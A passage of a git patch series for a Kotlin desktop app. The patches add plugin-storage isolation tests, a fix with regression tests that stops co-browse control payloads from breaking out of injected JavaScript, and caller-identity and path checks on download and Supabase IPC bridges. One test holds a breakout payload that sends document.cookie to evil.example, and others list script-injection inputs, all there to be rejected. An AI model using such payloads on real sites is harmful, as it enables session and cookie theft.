1) + private val values = mutableMapOf() + + override fun getPluginId(): String = id + + override suspend fun putString( + key: String, + value: String, + ) { + values[key] = value + } + + override suspend fun getString( + key: String, + defaultValue: String?, + ): String? = values[key] ?: defaultValue + + override suspend fun putInt( + key: String, + value: Int, + ) = putString(key, value.toString()) + + override suspend fun getInt( + key: String, + defaultValue: Int, + ): Int = getString(key)?.toIntOrNull() ?: defaultValue + + override suspend fun putLong( + key: String, + value: Long, + ) = putString(key, value.toString()) + + override suspend fun getLong( + key: String, + defaultValue: Long, + ): Long = getString(key)?.toLongOrNull() ?: defaultValue + + override suspend fun putBoolean( + key: String, + value: Boolean, + ) = putString(key, value.toString()) + + override suspend fun getBoolean( + key: String, + defaultValue: Boolean, + ): Boolean = getString(key)?.toBooleanStrictOrNull() ?: defaultValue + + override suspend fun putFloat( + key: String, + value: Float, + ) = putString(key, value.toString()) + + override suspend fun getFloat( + key: String, + defaultValue: Float, + ): Float = getString(key)?.toFloatOrNull() ?: defaultValue + + override suspend fun putJson( + key: String, + jsonValue: String, + ) = putString("json:$key", jsonValue) + + override suspend fun getJson(key: String): String? = getString("json:$key") + + override suspend fun contains(key: String): Boolean = values.containsKey(key) + + override suspend fun remove(key: String) { + values.remove(key) + } + + override suspend fun getAllKeys(): Set = values.keys.toSet() + + override suspend fun clear() = values.clear() + + override fun observeString(key: String): Flow = throw NotImplementedError("unused in these tests") + + override fun observeChanges(): Flow = changes + } + + /** Fake delegate exposing a shared [FakeStorageFactory], like DefaultPlugin does. */ + private class RecordingContext( + override val pluginStorageFactory: PluginStorageFactory?, + ) : PluginContext { + override val panelRegistry = PanelRegistry() + override val tabRegistry = TabRegistry() + override val pluginScope = CoroutineScope(SupervisorJob() + Dispatchers.Default) + } + + @Test + fun `createStorage always uses the context's own plugin id, ignoring the caller's argument`() { + val factory = FakeStorageFactory() + val delegate = RecordingContext(factory) + val tracker = PluginRegistrationTracker() + val pluginA = TrackingPluginContext("plugin.a", delegate, tracker) + + val storage = pluginA.pluginStorageFactory?.createStorage("plugin.b") + assertEquals("plugin.a", storage?.getPluginId()) + + assertEquals( + listOf("plugin.a"), + factory.requestedIds, + "the delegate must only ever be asked for this context's own plugin id", + ) + } + + @Test + fun `a write through one plugin's storage never lands in another plugin's storage`() { + val factory = FakeStorageFactory() + val delegate = RecordingContext(factory) + val tracker = PluginRegistrationTracker() + val pluginA = TrackingPluginContext("plugin.a", delegate, tracker) + val pluginB = TrackingPluginContext("plugin.b", delegate, tracker) + + // Plugin A attempts to reach plugin B's storage by naming it directly. + val storage = pluginA.pluginStorageFactory?.createStorage("plugin.b") + kotlinx.coroutines.runBlocking { storage?.putString("stolen", "value") } + + // The underlying factory was still only ever asked for plugin.a - never plugin.b. + assertTrue("plugin.b" !in factory.requestedIds, "plugin A must not be able to name plugin B's storage") + assertEquals(listOf("plugin.a"), factory.requestedIds) + + // The write is visible through A's own context, and repeated factory requests share state. + val ownStorage = pluginA.pluginStorageFactory?.createStorage("plugin.a") + assertEquals("value", kotlinx.coroutines.runBlocking { ownStorage?.getString("stolen") }) + + // Plugin B's own storage (via its own context) is untouched. + val pluginBStorage = pluginB.pluginStorageFactory?.createStorage("plugin.b") + val stolenValue = kotlinx.coroutines.runBlocking { pluginBStorage?.getString("stolen") } + assertEquals(null, stolenValue, "plugin B's real storage must not contain plugin A's write") + assertFalse(kotlinx.coroutines.runBlocking { pluginBStorage?.contains("stolen") } ?: false) + } + + @Test + fun `null delegate factory stays null, not a scoped wrapper around nothing`() { + val delegate = RecordingContext(pluginStorageFactory = null) + val tracker = PluginRegistrationTracker() + val pluginA = TrackingPluginContext("plugin.a", delegate, tracker) + + assertEquals(null, pluginA.pluginStorageFactory) + } +} diff --git a/plugin-platform/plugin-sandbox/src/desktopMain/kotlin/ai/rever/boss/plugin/sandbox/context/SandboxedPluginContext.kt b/plugin-platform/plugin-sandbox/src/desktopMain/kotlin/ai/rever/boss/plugin/sandbox/context/SandboxedPluginContext.kt index da2b74d152..46ed9137e2 100644 --- a/plugin-platform/plugin-sandbox/src/desktopMain/kotlin/ai/rever/boss/plugin/sandbox/context/SandboxedPluginContext.kt +++ b/plugin-platform/plugin-sandbox/src/desktopMain/kotlin/ai/rever/boss/plugin/sandbox/context/SandboxedPluginContext.kt @@ -213,6 +213,8 @@ class SandboxedPluginContext( get() = delegate.applicationEventBus // Phase 4: Plugin storage factory - delegate to underlying context + // Unscoped here: every registration path wraps this in TrackingPluginContext, + // which binds storage to the registered plugin identity before plugin code receives it. override val pluginStorageFactory: PluginStorageFactory? get() = delegate.pluginStorageFactory From 4415a33174fe7294d634bf3888813a1b16aac3fc Mon Sep 17 00:00:00 2001 From: Antriksh Date: Mon, 14 Sep 2026 09:38:05 +0530 Subject: [PATCH 05/28] fix(browser): validate co-browse control payloads before splicing into JS (#549) Validate remote co-browse control objects before embedding them in page JavaScript. Reject unquoted expressions recursively and preserve valid control messages and escaped string data. Original diagnosis, object guard and six regression tests by Antriksh. Prior review repair adds recursive token validation and four regressions; contributor replayed all three commits cleanly onto dev. All ten hosted checks and ten focused tests pass. Co-authored-by: Antriksh Co-authored-by: Claude Sonnet 5 --- .../boss/plugin/browser/CoBrowseScripts.kt | 162 ++++++++++-------- .../plugin/browser/CoBrowseScriptsTest.kt | 138 +++++++++++++++ 2 files changed, 233 insertions(+), 67 deletions(-) create mode 100644 composeApp/src/desktopTest/kotlin/ai/rever/boss/plugin/browser/CoBrowseScriptsTest.kt diff --git a/composeApp/src/desktopMain/kotlin/ai/rever/boss/plugin/browser/CoBrowseScripts.kt b/composeApp/src/desktopMain/kotlin/ai/rever/boss/plugin/browser/CoBrowseScripts.kt index 007386ab60..dd2cb9c958 100644 --- a/composeApp/src/desktopMain/kotlin/ai/rever/boss/plugin/browser/CoBrowseScripts.kt +++ b/composeApp/src/desktopMain/kotlin/ai/rever/boss/plugin/browser/CoBrowseScripts.kt @@ -2,6 +2,11 @@ package ai.rever.boss.plugin.browser import ai.rever.boss.utils.logging.BossLogger import ai.rever.boss.utils.logging.LogCategory +import kotlinx.serialization.json.Json +import kotlinx.serialization.json.JsonArray +import kotlinx.serialization.json.JsonElement +import kotlinx.serialization.json.JsonObject +import kotlinx.serialization.json.JsonPrimitive /** * JavaScript for the co-browse (DOM state-sync) tab-sharing feature. @@ -87,82 +92,105 @@ internal object CoBrowseScripts { /** Set or clear the in-page control guard (defence-in-depth alongside the host gate). */ fun setControlGuard(granted: Boolean): String = "window.__bossControlGranted = $granted;" + // JsonElement parsing accepts arbitrary unquoted primitive tokens, even with + // isLenient=false. Validate every leaf before emitting an object as JavaScript. + private val jsonNumber = Regex("""-?(0|[1-9][0-9]*)(\.[0-9]+)?([eE][+-]?[0-9]+)?""") + + private fun JsonElement.isStrictJson(): Boolean = + when (this) { + is JsonObject -> values.all { it.isStrictJson() } + is JsonArray -> all { it.isStrictJson() } + is JsonPrimitive -> isString || content in setOf("true", "false", "null") || jsonNumber.matches(content) + } + + /** Reject non-object messages and unquoted expressions before re-encoding remote data. */ + private fun canonicalControlPayload(payloadJsonLiteral: String): String? = + runCatching { + (Json.parseToJsonElement(payloadJsonLiteral) as? JsonObject) + ?.takeIf { it.isStrictJson() } + ?.toString() + }.getOrNull() + /** * Build the control-applier call for one semantic event. [payloadJsonLiteral] * is a JSON object literal produced by the host from a typed control message * (e.g. `{"kind":"click","id":42}`, `{"kind":"input","id":7,"value":"hi"}`, * `{"kind":"scroll","id":1,"x":0,"y":600}`). Resolves the rrweb node id against * the live mirror and dispatches a synthetic DOM event. Returns a status - * string: "ok" / "denied" / "nomirror" / "stale" / "unknown" / "err:". + * string: "ok" / "denied" / "nomirror" / "stale" / "unknown" / "invalid" / "err:". * * Navigation actions (navigate/back/forward/reload) are applied host-side via * [BrowserHandle] navigation methods, not here. */ - fun applyControl(payloadJsonLiteral: String): String = - """ - (function(p){ - try { - if (!window.__bossControlGranted) return "denied"; - if (!window.__bossRrwebMirror) return "nomirror"; - var n = (p && p.id != null) ? window.__bossRrwebMirror.getNode(p.id) : null; - if (!n && p && p.kind === 'scroll') { n = document.scrollingElement || document.documentElement; } - if (!n) return "stale"; - // Only Elements receive click/input/key; scroll may target the document. - if (n.nodeType !== 1 && p.kind !== 'scroll') return "stale"; - switch (p.kind) { - case 'click': - try { if (typeof n.focus === 'function') n.focus(); } catch (_) {} - var init = {bubbles:true, cancelable:true, view:window}; - try { n.dispatchEvent(new PointerEvent('pointerdown', init)); } catch (_) {} - n.dispatchEvent(new MouseEvent('mousedown', init)); - try { n.dispatchEvent(new PointerEvent('pointerup', init)); } catch (_) {} - n.dispatchEvent(new MouseEvent('mouseup', init)); - // dispatchEvent(click) fires JS listeners but NOT the default action - // (link nav, form submit, checkbox toggle). Native click() does both — - // run it on the nearest activatable ancestor (the viewer's target is - // often a span/icon inside the button or link). - var act = (n.closest && n.closest('a,button,input,select,option,textarea,label,summary,[role="button"],[onclick]')) || n; - if (typeof act.click === 'function') act.click(); - else n.dispatchEvent(new MouseEvent('click', init)); - break; - case 'input': - try { n.focus(); } catch (_) {} - if ('value' in n) { n.value = (p.value != null ? p.value : ''); } - else if (n.isContentEditable) { n.textContent = (p.value != null ? p.value : ''); } - n.dispatchEvent(new Event('input', {bubbles:true})); - n.dispatchEvent(new Event('change', {bubbles:true})); - break; - case 'key': - try { n.focus(); } catch (_) {} - var opts = {bubbles:true, cancelable:true, key:(p.key || ''), code:(p.code || '')}; - var proceed = n.dispatchEvent(new KeyboardEvent('keydown', opts)); - n.dispatchEvent(new KeyboardEvent('keyup', opts)); - // Synthetic keydown never runs the browser's default action, so Enter - // in a form field must submit explicitly (honoring preventDefault from - // the page's own keydown handler). Textareas keep Enter-as-newline - // unless they act as a search box (role=combobox, e.g. Google). - if (proceed && p.key === 'Enter') { - var f = n.form || (n.closest && n.closest('form')); - var searchy = n.getAttribute && (n.getAttribute('role') === 'combobox' || n.getAttribute('enterkeyhint') === 'search'); - if (f && (n.tagName !== 'TEXTAREA' || searchy)) { - try { f.requestSubmit ? f.requestSubmit() : f.submit(); } catch (_) {} - } + fun applyControl(payloadJsonLiteral: String): String { + val safePayload = + canonicalControlPayload(payloadJsonLiteral) + ?: return """(function(){ return "invalid"; })();""" + return """ + (function(p){ + try { + if (!window.__bossControlGranted) return "denied"; + if (!window.__bossRrwebMirror) return "nomirror"; + var n = (p && p.id != null) ? window.__bossRrwebMirror.getNode(p.id) : null; + if (!n && p && p.kind === 'scroll') { n = document.scrollingElement || document.documentElement; } + if (!n) return "stale"; + // Only Elements receive click/input/key; scroll may target the document. + if (n.nodeType !== 1 && p.kind !== 'scroll') return "stale"; + switch (p.kind) { + case 'click': + try { if (typeof n.focus === 'function') n.focus(); } catch (_) {} + var init = {bubbles:true, cancelable:true, view:window}; + try { n.dispatchEvent(new PointerEvent('pointerdown', init)); } catch (_) {} + n.dispatchEvent(new MouseEvent('mousedown', init)); + try { n.dispatchEvent(new PointerEvent('pointerup', init)); } catch (_) {} + n.dispatchEvent(new MouseEvent('mouseup', init)); + // dispatchEvent(click) fires JS listeners but NOT the default action + // (link nav, form submit, checkbox toggle). Native click() does both — + // run it on the nearest activatable ancestor (the viewer's target is + // often a span/icon inside the button or link). + var act = (n.closest && n.closest('a,button,input,select,option,textarea,label,summary,[role="button"],[onclick]')) || n; + if (typeof act.click === 'function') act.click(); + else n.dispatchEvent(new MouseEvent('click', init)); + break; + case 'input': + try { n.focus(); } catch (_) {} + if ('value' in n) { n.value = (p.value != null ? p.value : ''); } + else if (n.isContentEditable) { n.textContent = (p.value != null ? p.value : ''); } + n.dispatchEvent(new Event('input', {bubbles:true})); + n.dispatchEvent(new Event('change', {bubbles:true})); + break; + case 'key': + try { n.focus(); } catch (_) {} + var opts = {bubbles:true, cancelable:true, key:(p.key || ''), code:(p.code || '')}; + var proceed = n.dispatchEvent(new KeyboardEvent('keydown', opts)); + n.dispatchEvent(new KeyboardEvent('keyup', opts)); + // Synthetic keydown never runs the browser's default action, so Enter + // in a form field must submit explicitly (honoring preventDefault from + // the page's own keydown handler). Textareas keep Enter-as-newline + // unless they act as a search box (role=combobox, e.g. Google). + if (proceed && p.key === 'Enter') { + var f = n.form || (n.closest && n.closest('form')); + var searchy = n.getAttribute && (n.getAttribute('role') === 'combobox' || n.getAttribute('enterkeyhint') === 'search'); + if (f && (n.tagName !== 'TEXTAREA' || searchy)) { + try { f.requestSubmit ? f.requestSubmit() : f.submit(); } catch (_) {} + } + } + break; + case 'scroll': + var x = (p.x != null ? p.x : 0), y = (p.y != null ? p.y : 0); + if (n === document.scrollingElement || n === document.documentElement || n === document.body) { + window.scrollTo(x, y); + } else if (typeof n.scrollTo === 'function') { + n.scrollTo(x, y); + } else { n.scrollLeft = x; n.scrollTop = y; } + break; + default: return "unknown"; } - break; - case 'scroll': - var x = (p.x != null ? p.x : 0), y = (p.y != null ? p.y : 0); - if (n === document.scrollingElement || n === document.documentElement || n === document.body) { - window.scrollTo(x, y); - } else if (typeof n.scrollTo === 'function') { - n.scrollTo(x, y); - } else { n.scrollLeft = x; n.scrollTop = y; } - break; - default: return "unknown"; - } - return "ok"; - } catch (err) { - return "err:" + (err && err.message ? err.message : String(err)); - } - })($payloadJsonLiteral); - """.trimIndent() + return "ok"; + } catch (err) { + return "err:" + (err && err.message ? err.message : String(err)); + } + })($safePayload); + """.trimIndent() + } } diff --git a/composeApp/src/desktopTest/kotlin/ai/rever/boss/plugin/browser/CoBrowseScriptsTest.kt b/composeApp/src/desktopTest/kotlin/ai/rever/boss/plugin/browser/CoBrowseScriptsTest.kt new file mode 100644 index 0000000000..24670f6039 --- /dev/null +++ b/composeApp/src/desktopTest/kotlin/ai/rever/boss/plugin/browser/CoBrowseScriptsTest.kt @@ -0,0 +1,138 @@ +package ai.rever.boss.plugin.browser + +import kotlin.test.Test +import kotlin.test.assertEquals +import kotlin.test.assertFalse +import kotlin.test.assertTrue + +/** + * [CoBrowseScripts.applyControl] splices its argument verbatim into an IIFE call that + * [BrowserHandleImpl.applyCoBrowseControl] runs via `executeJavaScript` - and that + * argument is documented as coming from a controlling remote viewer, over a wire format + * this repo does not define. Before the fix under test, a malformed value could close the + * call's argument list and append further JS statements, running arbitrary script in the + * shared page's real origin - turning "click/type/scroll on my behalf" into full script + * execution. These tests assert a breakout payload cannot survive into the generated + * script, and that legitimate control messages still work. + */ +class CoBrowseScriptsTest { + // Syntactically valid JSON followed by a JS statement separator and a call - if this + // ever reached the page verbatim, it would close applyControl's IIFE argument list and + // run the attacker's fetch() as a sibling statement. + private val breakoutPayload = + """{"kind":"input","id":1,"value":"x"}); fetch('https://evil.example/c?'+document.cookie); """ + + """(function(){return(0""" + + @Test + fun `unquoted JavaScript expressions are rejected at every nesting depth`() { + val payloads = + listOf( + """{"kind":alert(1)}""", + """{"kind":"click","id":(globalThis.injected=1)}""", + """{"kind":"input","value":{"nested":alert(1)}}""", + """{"kind":"input","value":[alert(1)]}""", + ) + for (payload in payloads) { + assertEquals( + """(function(){ return "invalid"; })();""", + CoBrowseScripts.applyControl(payload), + payload, + ) + } + } + + @Test + fun `invalid JSON number tokens are rejected`() { + for (token in listOf("NaN", "Infinity", "undefined", "+1", "01", "0x10", "1.", ".1")) { + assertEquals( + """(function(){ return "invalid"; })();""", + CoBrowseScripts.applyControl("""{"id":$token}"""), + token, + ) + } + } + + @Test + fun `valid nested JSON primitives and exponent numbers remain supported`() { + val payload = """{"kind":"scroll","id":1,"x":-0.25e+2,"y":1E3,"data":[true,false,null,{"x":"alert(1)"}]}""" + assertTrue(CoBrowseScripts.applyControl(payload).endsWith("})($payload);")) + } + + @Test + fun `Unicode line separators stay inside string data on modern Chromium`() { + val payload = "{\"kind\":\"input\",\"value\":\"before\u2028middle\u2029after\"}" + // executeJavaScript uses Chromium's ES2019+ JSON-superset string grammar. + assertTrue(CoBrowseScripts.applyControl(payload).endsWith("})($payload);")) + } + + @Test + fun `a payload that is not syntactically complete JSON cannot break out of the IIFE call`() { + val script = CoBrowseScripts.applyControl(breakoutPayload) + + assertFalse(script.contains("evil.example"), "the raw payload must never reach the generated script") + assertFalse(script.contains("fetch("), "no injected call may appear in the generated script") + assertEquals("""(function(){ return "invalid"; })();""", script) + } + + @Test + fun `a JSON array or scalar at the top level is rejected, not merely non-object`() { + // These are syntactically valid, complete JSON - safe to splice - but not the + // documented `{"kind":...}` object shape the in-page switch expects. + for (payload in listOf("""["kind","click"]""", """"click"""", "42", "null", "true")) { + val script = CoBrowseScripts.applyControl(payload) + assertTrue( + script.contains(""""invalid""""), + "a non-object top-level JSON value ($payload) must be rejected, got: $script", + ) + } + } + + @Test + fun `trailing garbage after a complete JSON object is rejected`() { + val script = CoBrowseScripts.applyControl("""{"kind":"click","id":1}garbage""") + assertTrue(script.contains(""""invalid"""")) + } + + @Test + fun `unparseable input is rejected`() { + val script = CoBrowseScripts.applyControl("""{"kind": not json at all""") + assertTrue(script.contains(""""invalid"""")) + } + + @Test + fun `a legitimate click event round-trips into the generated script`() { + val script = CoBrowseScripts.applyControl("""{"kind":"click","id":42}""") + assertFalse(script.contains(""""invalid"""")) + assertTrue(script.contains(""""kind":"click"""")) + assertTrue(script.contains(""""id":42""")) + assertTrue(script.endsWith("""})({"kind":"click","id":42});""")) + } + + @Test + fun `a value containing quotes and backslashes round-trips as inert JSON data, not injected script`() { + // A viewer typing this into a text field must land as the literal string value, + // never as JS the switch's 'input' case executes. + val typed = """quote " backslash \ and a fake close"); alert(1); (""" + val payload = + kotlinx.serialization.json + .buildJsonObject { + put("kind", kotlinx.serialization.json.JsonPrimitive("input")) + put("id", kotlinx.serialization.json.JsonPrimitive(7)) + put("value", kotlinx.serialization.json.JsonPrimitive(typed)) + }.toString() + + val script = CoBrowseScripts.applyControl(payload) + + assertFalse(script.contains(""""invalid"""")) + // The security property is not "alert(1) is absent" - it legitimately appears as + // inert text inside the quoted "value" field, which is correct and safe. What must + // hold is that the embedded quote and backslash stayed inside that one JSON string + // (re-escaped, not raw) rather than terminating it early. + assertTrue(script.endsWith("})($payload);")) + val embeddedValue = + Regex(""""value":"((?:[^"\\]|\\.)*)"""").find(script)?.groupValues?.get(1) + ?: error("expected an escaped \"value\" field in: $script") + assertTrue(embeddedValue.contains("\\\""), "the embedded double-quote must be escaped, not raw") + assertTrue(embeddedValue.contains("\\\\"), "the embedded backslash must be escaped, not raw") + } +} From 4bc9ae710913ac8c232ab881b213e1cce8274950 Mon Sep 17 00:00:00 2001 From: Antriksh Date: Mon, 14 Sep 2026 09:38:36 +0530 Subject: [PATCH 06/28] fix(kernel): require verified caller identity for the Supabase proxy and Download bridges (#550) * fix(kernel): require verified caller identity for the Supabase proxy and Download bridges SupabaseServiceBridge is a generic, unrestricted Postgrest proxy backed by the signed-in user's own RLS-scoped Supabase session - its rpc() reaches the same create_secret/update_secret RPCs SecretServiceBridge exists to protect, and select() can read any table RLS exposes. Neither select nor rpc checked caller identity (BossConsole#53), so any local process reaching the kernel's IPC socket had the same reach as a legitimately installed plugin, attributable to nobody. Both now require a verified process identity, matching SecretServiceBridge's established pattern, with audit logging on every call. DownloadServiceBridge.openFile/revealInFolder shell out to the OS's own "open with default application" command for any path that exists on disk, with no check that the path has anything to do with a download - before this, an unauthenticated caller on the IPC bridge could make BOSS execute any file on disk via the OS default-handler mechanism, completely bypassing BossConsole#484's executable-download-warning consent dialog (that path never goes through it at all). Every RPC on the bridge now requires a verified caller identity, and openFile/revealInFolder are additionally confined to a path this provider's own downloads list is currently tracking - canonical-path compared, so a symlink or a `..` cannot walk outside it - turning "open any file that exists" into "open a file BOSS itself downloaded". Both bridges get real gRPC-server-and-client tests (matching PluginUIServiceBridgeTest's pattern): an anonymous caller is refused with PERMISSION_DENIED on every RPC, the underlying provider is asserted never invoked on a refusal, and DownloadServiceBridge additionally covers an authenticated caller naming a path outside the tracked set. * fix(kernel): revalidate download streams and use checked paths * fix(kernel): capture stream identity and reject empty download paths * style(tests): align download regression expression wrapping * fix(kernel): clear code-quality on the download/supabase caller-identity branch detekt's default MaxLineLength (120) rejected a 128-char assertEquals in DownloadServiceBridgeTest that ktlint's wider 140-char .editorconfig limit had let through - wrap it. Also finishes the finding-6 KDoc reword the bot review flagged as ungrammatical ("this is the path does not provide" -> "this path provides no executable-consent step") and reflows that paragraph. No behavior change; addresses the last remaining code-quality blocker noted in the PR's review thread. --------- Co-authored-by: Shivang --- .../kernel/services/DownloadServiceBridge.kt | 132 ++++++- .../kernel/services/SupabaseServiceBridge.kt | 69 ++++ .../services/DownloadServiceBridgeTest.kt | 362 ++++++++++++++++++ .../services/SupabaseServiceBridgeTest.kt | 178 +++++++++ 4 files changed, 729 insertions(+), 12 deletions(-) create mode 100644 composeApp/src/desktopTest/kotlin/ai/rever/boss/kernel/services/DownloadServiceBridgeTest.kt create mode 100644 composeApp/src/desktopTest/kotlin/ai/rever/boss/kernel/services/SupabaseServiceBridgeTest.kt diff --git a/composeApp/src/desktopMain/kotlin/ai/rever/boss/kernel/services/DownloadServiceBridge.kt b/composeApp/src/desktopMain/kotlin/ai/rever/boss/kernel/services/DownloadServiceBridge.kt index e6e529ff2e..9939574a52 100644 --- a/composeApp/src/desktopMain/kotlin/ai/rever/boss/kernel/services/DownloadServiceBridge.kt +++ b/composeApp/src/desktopMain/kotlin/ai/rever/boss/kernel/services/DownloadServiceBridge.kt @@ -1,18 +1,52 @@ package ai.rever.boss.kernel.services +import ai.rever.boss.ipc.auth.ProcessIdentityInterceptor import ai.rever.boss.ipc.proto.Empty import ai.rever.boss.ipc.proto.services.* import ai.rever.boss.plugin.api.DownloadDataProvider import ai.rever.boss.plugin.api.DownloadStatusData +import ai.rever.boss.plugin.logging.BossLogger +import ai.rever.boss.plugin.logging.LogCategory +import io.grpc.Status +import io.grpc.StatusException import kotlinx.coroutines.flow.Flow import kotlinx.coroutines.flow.flow +import java.io.File +/** + * Kernel-side bridge for `DownloadService`. + * + * **Every call requires a verified caller identity (BossConsole#53)**, the same requirement and + * helper shape introduced for the Secret Service in PR #505. + * + * [openFile] and [revealInFolder] get a second, narrower guard on top: [FileSystemUtils.openFile] + * (reached through [DownloadDataProvider.openFile]) shells out to the OS's own "open with default + * application" command (`open`/`start`/`xdg-open`) for *any* path that exists on disk - it does + * not check that the path has anything to do with a download. Before this bridge required a + * caller identity at all, that was an unauthenticated, unconfined "launch this file" primitive: + * for an executable, `start "" file.exe` and a double-click are the same action, and this path + * provides no executable-consent step. Confining both calls to a path this provider's own + * [DownloadDataProvider.downloads] list currently tracks - canonical-path compared, so a symlink + * or a `..` cannot walk outside it - turns "open any file that exists" back into "open a file + * BOSS itself downloaded", which is the only thing either RPC's own name promises to do. + */ +// One method per RPC the generated service base class declares, plus three small private helpers. +@Suppress("TooManyFunctions") class DownloadServiceBridge( private val provider: DownloadDataProvider, ) : DownloadServiceGrpcKt.DownloadServiceCoroutineImplBase() { - override fun watchDownloads(request: Empty): Flow = - flow { + override fun watchDownloads(request: Empty): Flow { + // Capture the gRPC context before returning the asynchronously collected flow. + val currentIdentity = ProcessIdentityInterceptor.CURRENT_IDENTITY.get() + return flow { + val caller = + currentIdentity?.invoke() + ?: throw StatusException(Status.PERMISSION_DENIED.withDescription(NO_IDENTITY)) provider.downloads.collect { downloads -> + // A stream must not retain access after its process token has been revoked. + if (currentIdentity?.invoke() != caller) { + throw StatusException(Status.PERMISSION_DENIED.withDescription(NO_IDENTITY)) + } emit( DownloadListResponse .newBuilder() @@ -47,30 +81,97 @@ class DownloadServiceBridge( ) } } + } - override suspend fun pauseDownload(request: DownloadIdRequest): OperationResult = provider.pauseDownload(request.id).toOperationResult() + override suspend fun pauseDownload(request: DownloadIdRequest): OperationResult { + authenticatedCallerOrRefuse("pauseDownload") + return provider.pauseDownload(request.id).toOperationResult() + } - override suspend fun resumeDownload(request: DownloadIdRequest): OperationResult = - provider.resumeDownload(request.id).toOperationResult() + override suspend fun resumeDownload(request: DownloadIdRequest): OperationResult { + authenticatedCallerOrRefuse("resumeDownload") + return provider.resumeDownload(request.id).toOperationResult() + } - override suspend fun cancelDownload(request: DownloadIdRequest): OperationResult = - provider.cancelDownload(request.id).toOperationResult() + override suspend fun cancelDownload(request: DownloadIdRequest): OperationResult { + authenticatedCallerOrRefuse("cancelDownload") + return provider.cancelDownload(request.id).toOperationResult() + } - override suspend fun removeDownload(request: DownloadIdRequest): OperationResult = - provider.removeDownload(request.id).toOperationResult() + override suspend fun removeDownload(request: DownloadIdRequest): OperationResult { + authenticatedCallerOrRefuse("removeDownload") + return provider.removeDownload(request.id).toOperationResult() + } - override suspend fun clearCompleted(request: Empty): OperationResult = provider.clearCompleted().toOperationResult() + override suspend fun clearCompleted(request: Empty): OperationResult { + authenticatedCallerOrRefuse("clearCompleted") + return provider.clearCompleted().toOperationResult() + } override suspend fun revealInFolder(request: PathRequest): Empty { - provider.revealInFolder(request.path) + val caller = authenticatedCallerOrRefuse("revealInFolder") + val path = trackedDownloadPathOrRefuse("revealInFolder", caller, request.path) + provider.revealInFolder(path) return Empty.getDefaultInstance() } override suspend fun openFile(request: PathRequest): Empty { - provider.openFile(request.path) + val caller = authenticatedCallerOrRefuse("openFile") + val path = trackedDownloadPathOrRefuse("openFile", caller, request.path) + provider.openFile(path) return Empty.getDefaultInstance() } + /** + * Confines [openFile]/[revealInFolder] to a path this provider itself is currently tracking + * as a download's [ai.rever.boss.plugin.api.DownloadItemData.destinationPath] - canonicalized + * on both sides so a symlink or a `..` segment cannot walk outside the tracked set. See the + * class KDoc for why this exists on top of the caller-identity check above. + * The provider snapshot is sampled for UI delivery; a newly created download remains refused + * until that snapshot includes it. Callers should use paths observed from watchDownloads. + */ + private fun trackedDownloadPathOrRefuse( + rpc: String, + caller: String, + requestedPath: String, + ): String { + val requestedCanonical = + requestedPath.takeIf { it.isNotBlank() }?.let { + runCatching { File(it).canonicalFile }.getOrNull() + } + val isTracked = + requestedCanonical != null && + provider.downloads.value.any { item -> + item.destinationPath.isNotBlank() && + runCatching { File(item.destinationPath).canonicalFile }.getOrNull() == requestedCanonical + } + if (!isTracked) { + logger.warn( + LogCategory.AUTH, + "Refused $rpc: path is not a tracked download", + mapOf("rpc" to rpc, "caller" to caller), + ) + throw StatusException(Status.PERMISSION_DENIED.withDescription(NOT_A_TRACKED_DOWNLOAD)) + } + return checkNotNull(requestedCanonical).path + } + + /** + * The verified identity behind this call, or a thrown `PERMISSION_DENIED` when there is none. + * + * Mirrors the helper introduced by PR #505 (BossConsole#53) - fails closed rather than let a + * request with no credential fall through to [provider] with nothing to attribute it to. + */ + private fun authenticatedCallerOrRefuse(rpc: String): String = + ProcessIdentityInterceptor.AUTHENTICATED_PROCESS_ID.get() ?: run { + logger.warn( + LogCategory.AUTH, + "Refused $rpc: no verified process identity on this call", + mapOf("rpc" to rpc), + ) + throw StatusException(Status.PERMISSION_DENIED.withDescription(NO_IDENTITY)) + } + private fun Result.toOperationResult(): OperationResult = fold( onSuccess = { @@ -84,4 +185,11 @@ class DownloadServiceBridge( .build() }, ) + + private companion object { + val logger = BossLogger.forComponent("DownloadServiceBridge") + + const val NO_IDENTITY = "This call presented no verified process identity" + const val NOT_A_TRACKED_DOWNLOAD = "This path is not a download tracked by this provider" + } } diff --git a/composeApp/src/desktopMain/kotlin/ai/rever/boss/kernel/services/SupabaseServiceBridge.kt b/composeApp/src/desktopMain/kotlin/ai/rever/boss/kernel/services/SupabaseServiceBridge.kt index f72e24c1da..f9f798adc3 100644 --- a/composeApp/src/desktopMain/kotlin/ai/rever/boss/kernel/services/SupabaseServiceBridge.kt +++ b/composeApp/src/desktopMain/kotlin/ai/rever/boss/kernel/services/SupabaseServiceBridge.kt @@ -1,15 +1,42 @@ package ai.rever.boss.kernel.services +import ai.rever.boss.ipc.auth.ProcessIdentityInterceptor import ai.rever.boss.ipc.proto.services.* import ai.rever.boss.plugin.api.FilterOperator import ai.rever.boss.plugin.api.QueryFilter import ai.rever.boss.plugin.api.QueryRange import ai.rever.boss.plugin.api.SupabaseDataProvider +import ai.rever.boss.plugin.logging.BossLogger +import ai.rever.boss.plugin.logging.LogCategory +import io.grpc.Status +import io.grpc.StatusException +/** + * Kernel-side bridge for `SupabaseService` - a generic, table/RPC-name-addressed proxy onto + * [SupabaseDataProvider], which runs every call on the signed-in user's own Supabase session + * (`SupabaseConfig.client`, RLS-scoped - see [ai.rever.boss.services.supabase.SupabaseDataProviderImpl]). + * That is not a narrower grant than [SecretServiceBridge]'s: `rpc` reaches the very same + * `create_secret`/`update_secret`/share RPCs the Secret Manager UI calls (AGENTS.md's own + * "Decoding Supabase payloads" section names `create_secret` as exactly this kind of call), and + * `select` can read any table RLS exposes to that user - this bridge is not scoped to any one + * feature, it is the whole Postgrest surface. + * + * **Every call requires a verified caller identity (BossConsole#53)**, the same requirement and + * helper shape introduced for the Secret Service in PR #505. This does not narrow *what* an + * authenticated caller may do here (every legitimate + * in-process plugin already has the identical unrestricted access via `PluginContext + * .supabaseDataProvider` - see `DefaultPlugin.kt:528` - so that is an existing, accepted design + * decision this bridge is not the place to relitigate). What was missing was *whether the caller + * is even a real, spawned BOSS process at all* - before this, any local process reaching the + * kernel's IPC socket had the same reach as a legitimately installed plugin, attributable to + * nobody. + */ class SupabaseServiceBridge( private val provider: SupabaseDataProvider, ) : SupabaseServiceGrpcKt.SupabaseServiceCoroutineImplBase() { override suspend fun select(request: SupabaseSelectRequest): SupabaseJsonResponse { + val caller = authenticatedCallerOrRefuse("select") + logCall("select", caller, request.table) val filters = request.filtersList.map { filter -> QueryFilter( @@ -65,6 +92,8 @@ class SupabaseServiceBridge( } override suspend fun rpc(request: SupabaseRpcRequest): SupabaseJsonResponse { + val caller = 